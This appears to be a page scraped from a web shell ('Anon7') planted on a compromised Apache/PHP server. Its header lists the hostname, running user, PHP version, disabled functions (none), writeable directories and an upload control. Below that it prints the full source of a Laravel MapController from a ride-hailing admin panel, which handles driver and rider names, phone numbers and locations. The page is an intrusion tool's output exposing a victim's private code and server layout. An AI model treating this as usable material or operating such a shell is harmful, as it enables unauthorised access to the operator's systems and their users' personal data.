KGRKJGETMRETU895U-589TY5MIGM5JGB5SDFESFREWTGR54TY
Server : Apache/2.4.41 (Ubuntu)
System : Linux vmi1525618.contaboserver.net 5.4.0-105-generic #119-Ubuntu SMP Mon Mar 7 18:49:24 UTC 2022 x86_64
User : www-data ( 33)
PHP Version : 8.2.12
Disable Function : NONE
Directory :  /var/www/namascar_app/panel.namascar.app/app/Http/Controllers/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /var/www/namascar_app/panel.namascar.app/app/Http/Controllers/MapController.php
<?php

namespace App\Http\Controllers;

use App\Models\Driver;
use App\Models\Requests;
use App\Models\UserApp;
use Illuminate\Http\Request;
use Illuminate\Support\Facades\DB;

class MapController extends Controller
{

    public function __construct()
    {
        $this->middleware('auth');
    }

    public function index()
    {

        $lat_long = $this->getDefaultLatLong();

        return view('map.index')->with('lat_long', $lat_long);
    }

    public function getRideInfo(Request $request){

        //$rides = $request->rides;
        $rides=Requests::where('statut', 'on ride')->orwhere('statut', 'confirmed')->orderBy('creer','desc')->get();
        $rides = $rides->toArray();
    
        $drivers = $request->drivers;

        $data = array();

        if(isset($rides) && count($rides) > 0){

            foreach($rides as $ride){

                $ride_info = Requests::find($ride['id']);
                $user_info = '';
                $userName = '';
                if (array_key_exists("ride_type", $ride)) {
                    if ($ride['ride_type'] != "driver") {
                        $user_info = UserApp::find($ride['id_user_app']);
                        if(!empty($user_info)){
                            $userName = $user_info->prenom . " " . $user_info->nom;
                        }
                    }else{
                        if (!empty($ride_info)) {
                            if ($user_info == '') {
                                $user_info = json_decode($ride_info->user_info, true);
                                if(!empty($user_info)){
                                    $userName = $user_info['name'];
                                }
                            }
                        }

                    }
                }else{
                    //if(array_key_exists("user_id",$ride)){
                        $user_info = UserApp::find($ride['id_user_app']);
                        if(!empty($user_info)){
                            $userName = $user_info->prenom . " " . $user_info->nom;

                        }

                   // }

                }
                $driver_info = '';
                if (array_key_exists('id_conducteur', $ride)) {
                    $driver_info = Driver::select(
                        'tj_conducteur.*',
                        'tj_vehicule.numberplate as car_number',
                        'tj_vehicule.car_make',
                        'brands.name as brand_name',
                        'car_model.name as car_model',
                    )
                        ->join('tj_vehicule', 'tj_vehicule.id_conducteur', '=', 'tj_conducteur.id')
                        ->join('tj_type_vehicule', 'tj_type_vehicule.id', '=', 'tj_vehicule.id_type_vehicule')
                        ->leftjoin('brands', 'tj_vehicule.brand', '=', 'brands.id')
                        ->leftjoin('car_model', 'tj_vehicule.model', '=', 'car_model.id')
                        ->find($ride['id_conducteur']);
                    if (isset($drivers) && count($drivers) > 0) {
                        $ride['driver_latitude'] ='';
                        $ride['driver_longitude'] = '';

                        foreach ($drivers as $driver) {
                            if($driver['driver_id']==$ride['id_conducteur']){
                                $ride['driver_latitude'] = $driver['driver_latitude'];
                                $ride['driver_longitude'] = $driver['driver_longitude'];
                            }
                        }
                    }      
                }
                if($ride_info && $driver_info  && ($ride_info->statut == "on ride" || $ride_info->statut == "confirmed")){

                    $data[] = array(
                        'driver_id' => $ride['id_conducteur'],
                        'driver_name' => $driver_info->prenom.' '.$driver_info->nom,
                        'driver_mobile' => $driver_info->phone,
                        'vehicle_brand' => $driver_info->brand_name,
                        'vehicle_number' => $driver_info->car_number,
                        'vehicle_model' => $driver_info->car_model,
                        'vehicle_make' => $driver_info->car_make,
                        'user_id' => $ride['id_user_app'],
                        'user_name' => $userName,
                        'driver_latitude' => $ride['driver_latitude'],
                        'driver_longitude' => $ride['driver_longitude'],
                        //'rotation' => $ride['rotation'],
                        'doc_id' => $ride['id'],
                        'ride_id' => $ride['id'],
                        'ride_status' => $ride_info->statut,
                        'depart_name' => $ride_info['depart_name'],
                        'destination_name' => $ride_info['destination_name'],
                        'flag' => 'on_ride',
                    );
                }
            }
        }

        if(isset($drivers) && count($drivers) > 0){

            foreach($drivers as $driver){

                $driver_info = Driver::select(
                    'tj_conducteur.*','tj_vehicule.numberplate as car_number','tj_vehicule.car_make',
                    'brands.name as brand_name','car_model.name as car_model',
                )
                ->join('tj_vehicule', 'tj_vehicule.id_conducteur', '=', 'tj_conducteur.id')
                ->join('tj_type_vehicule', 'tj_type_vehicule.id', '=', 'tj_vehicule.id_type_vehicule')
                ->leftjoin('brands','tj_vehicule.brand','=','brands.id')
                ->leftjoin('car_model','tj_vehicule.model','=','car_model.id')
                ->find($driver['driver_id']);

                if($driver_info){

                    $data[] = array(
                        'driver_id' => $driver['driver_id'],
                        'driver_name' => $driver_info->prenom.' '.$driver_info->nom,
                        'driver_mobile' => $driver_info->phone,
                        'vehicle_brand' => $driver_info->brand,
                        'vehicle_number' => $driver_info->car_number,
                        'vehicle_model' => $driver_info->car_model,
                        'vehicle_make' => $driver_info->car_make,
                        'driver_latitude' => $driver['driver_latitude'],
                        'driver_longitude' => $driver['driver_longitude'],
                        'flag' => 'available',
                    );
                }
            }
        }

        return response()->json($data);
    }

    public function getDefaultLatLong(){

        $sql=DB::table('tj_settings')->select('tj_settings.contact_us_address as address','tj_settings.google_map_api_key as apikey')->first();
        $address=$sql->address;
        $apiKey=$sql->apikey;

        if(!empty($address) && !empty($apiKey)){
        $geo=file_get_contents('https://maps.googleapis.com/maps/api/geocode/json?address='.urlencode($address).'&sensor=false&key='.$apiKey);
        $geo = json_decode($geo, true);
        $latlong = array();
            if (isset($geo['status']) && $geo['status'] == 'OK') {
                $latitude = $geo['results'][0]['geometry']['location']['lat'];
                $longitude = $geo['results'][0]['geometry']['location']['lng'];
                $latlong = array('lat'=> $latitude ,'lng'=>$longitude);
            }
        }else{
            $latlong = array();
        }
        return $latlong;
    }
}

Anon7 - 2021